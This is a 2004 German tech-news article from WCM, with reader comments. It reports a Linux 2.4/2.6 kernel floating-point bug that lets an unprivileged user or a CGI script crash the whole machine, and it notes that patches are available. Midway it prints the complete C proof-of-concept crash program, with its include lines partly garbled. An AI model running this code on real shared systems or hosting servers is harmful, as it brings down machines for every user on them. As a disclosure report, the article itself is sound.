Willkommen bei WCM
Um alle Funktionen dieser Website nutzen zu können müssen Sie sich Einloggen oder Registrieren. Die Registrierung ist unverbindlich und dauert nur einen Moment.
Lokales
Veröffentlicht am 15.06.2004 10:57:36
Wie bringt man mit einem kleinen C-Programm einen ganzen Linux-Rechner zum Absturz? Ganz einfach, man verwendet Gleitkommabefehle. Mit einem kleinen C-Programm, das einige FPU-Befehle der CPU ausnutzt, kann man Rechner, die einen aktuelleren Kernel (2.4, 2.6) einsetzten, komplett zum Absturz bringen - und das ohne Root-Rechte. Es reicht, das Programm auf dem Rechner als normaler Benutzer auszuführen.
Sogar als CGI-Script kann es den Rechner deaktivieren. Daher sind nicht nur Systeme betroffen, die ihren Benutzern einen Shell-Account geben, sondern auch alle Web-Hoster, die CGI-Programme erlauben.
Betroffen sind fast alle Kernels der Serien 2.4 und 2.6, damit auch alle gängigen Linux-Distributionen wie Debian GNU/Linux, SuSE oder Fedora Core 2. Als "immun" erwiesen sich bisher nur einige Gentoo-Kernel (2.4.26-Prereleases und 2.4.25). Warum diese nicht betroffen sind, ist noch nicht klar. Auf diesen sicheren Kernelversionen resultiert die Ausführung des Programms nur in einer Floating point exception.
Bisher existieren provisorische Patches für den Kernel 2.4.26 und den Kernel 2.6.7-rc3, man kann aber davon ausgehen, dass es für alle gängigen Distributionen und Kernels binnen kurzer Zeit ein passendes Update geben wird. Der Patch von Alexander Nyberg , Sergey Vlasov und Andi Kleen wurde bereits von Linus Torvalds abgesegnet.
Der "böse" Code:
1 #include2 #include 3 #include 4 5 static void Handler(int ignore) 6 { 7 char fpubuf[108]; 8 __asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf)); 9 write(2, "*", 1); 10 __asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf)); 11 } 12 13 int main(int argc, char *argv[]) 14 { 15 struct itimerval spec; 16 signal(SIGALRM, Handler); 17 spec.it_interval.tv_sec=0; 18 spec.it_interval.tv_usec=100; 19 spec.it_value.tv_sec=0; 20 spec.it_value.tv_usec=100; 21 setitimer(ITIMER_REAL, &spec, NULL); 22 while(1) 23 write(1, ".", 1); 24 25 return 0; 26 }
Der GCC Bug-Report, der das Problem bekannt machte.
Der Patch für den Kernel 2.4
Der Patch für den Kernel 2.6
Martin Leyrer
Ähnliche Artikel
03.10.2003 13:45:09: HP: Kleiner Multi nun mit Speichercard-Slot
Der kleine PSC 1210 erhält nun mit dem HP PSC 1350 einen Nachfolger der nun auch über alle üblichen Speicherkartensteckplätze verfügt....
31.07.2001 23:00:00: Kleiner Linux Handheld
Terapin präsentiert mit Terapin Mine Linux Handheld mit 10 GB Speicherkapazität....
29.06.2001 23:00:00: Epson: Kleiner mit Farbe
Epson bringt nun einen neuen, preiswerten Einstiegsdrucker auf den Markt. Der Farbtintenstrahldrucker C40UX soll bis zu 8 Seiten in der Minute drucken....
02.05.2001 23:00:00: Philips: Kleiner eXpanium
Nach dem eXpanium EXP 101, einem portable CD-MP3-Player, bringt Philips nun den eXpanium EXP 401 auf den Markt welcher mit 8 cm CDs arbeitet. Somit ist dieser von den Abmessungen wesentlich kleiner, d...
09.02.2001 00:00:00: Kyocera: Kleiner Bruder
Der im WCM143 getestete Laserdrucker Kyocera mita FS-3800, hat nun einen kleinen Bruder bekommen....
27.09.2000 23:00:00: Kleiner G4
Motorola stellte nun einen G4 Prozessor mit kleinerer Strukturbreite und verringertem Strombedarf vor. Der PowerPC mit der Bezeichnung MPC 7410 ist mit der sogenannten AltiVec-Architektur ausgestattet...
15.08.2000 23:00:00: Kleiner L2 Cache beim Itamium
Intel gab nun die Größen des Caches des Itanium-Prozessors bekannt....
Der kleine PSC 1210 erhält nun mit dem HP PSC 1350 einen Nachfolger der nun auch über alle üblichen Speicherkartensteckplätze verfügt....
31.07.2001 23:00:00: Kleiner Linux Handheld
Terapin präsentiert mit Terapin Mine Linux Handheld mit 10 GB Speicherkapazität....
29.06.2001 23:00:00: Epson: Kleiner mit Farbe
Epson bringt nun einen neuen, preiswerten Einstiegsdrucker auf den Markt. Der Farbtintenstrahldrucker C40UX soll bis zu 8 Seiten in der Minute drucken....
02.05.2001 23:00:00: Philips: Kleiner eXpanium
Nach dem eXpanium EXP 101, einem portable CD-MP3-Player, bringt Philips nun den eXpanium EXP 401 auf den Markt welcher mit 8 cm CDs arbeitet. Somit ist dieser von den Abmessungen wesentlich kleiner, d...
09.02.2001 00:00:00: Kyocera: Kleiner Bruder
Der im WCM143 getestete Laserdrucker Kyocera mita FS-3800, hat nun einen kleinen Bruder bekommen....
27.09.2000 23:00:00: Kleiner G4
Motorola stellte nun einen G4 Prozessor mit kleinerer Strukturbreite und verringertem Strombedarf vor. Der PowerPC mit der Bezeichnung MPC 7410 ist mit der sogenannten AltiVec-Architektur ausgestattet...
15.08.2000 23:00:00: Kleiner L2 Cache beim Itamium
Intel gab nun die Größen des Caches des Itanium-Prozessors bekannt....
« Shrek 2 Homepage online · Kleiner Bug, große Probleme
· Konica-Minolta linst um die Ecke »
Kommentar
|
gaelic Beiträge: 2500 Registriert: 2001-08-28 |
#79 Veröffentlicht am: 15.06.2004 12:02:12
ich weiß schon warum ich 2.6.7-rc3 verwende |
Kommentar
|
mankra Beiträge: 3117 Registriert: 2000-08-19 |
#80 Veröffentlicht am: 15.06.2004 14:54:28
Bei Win gäbe es schon wieder Spot und Niedertracht............... |
Kommentar
|
Etienne Beiträge: 403 Registriert: 2003-03-31 |
#81 Veröffentlicht am: 15.06.2004 16:01:20
Ursprünglich geschrieben von mankra:
Ja aber wie schnell hat es gedauert bis ein Patch draussen war??? mfg Etienne |
Kommentar
|
Robert Beiträge: 65538 Registriert: 2000-07-12 |
#84 Veröffentlicht am: 16.06.2004 10:49:47
ein nicht zu unterschätzender Punkt. Bei MS müsste erstmals jemand damit beauftragt werden, dann wird getestet, abgesegnet und es für die automatischen Updates vorbereitet werden... allerdings finde ich diesen Bug doch recht peinlich... |
Kommentar
|
Etienne Beiträge: 403 Registriert: 2003-03-31 |
#85 Veröffentlicht am: 16.06.2004 18:22:52
Ja du hast recht ist wirklich peinlich. Nur die geschwindigkeit mit der Patches bereit stehen ist org... mfg Etienne |

































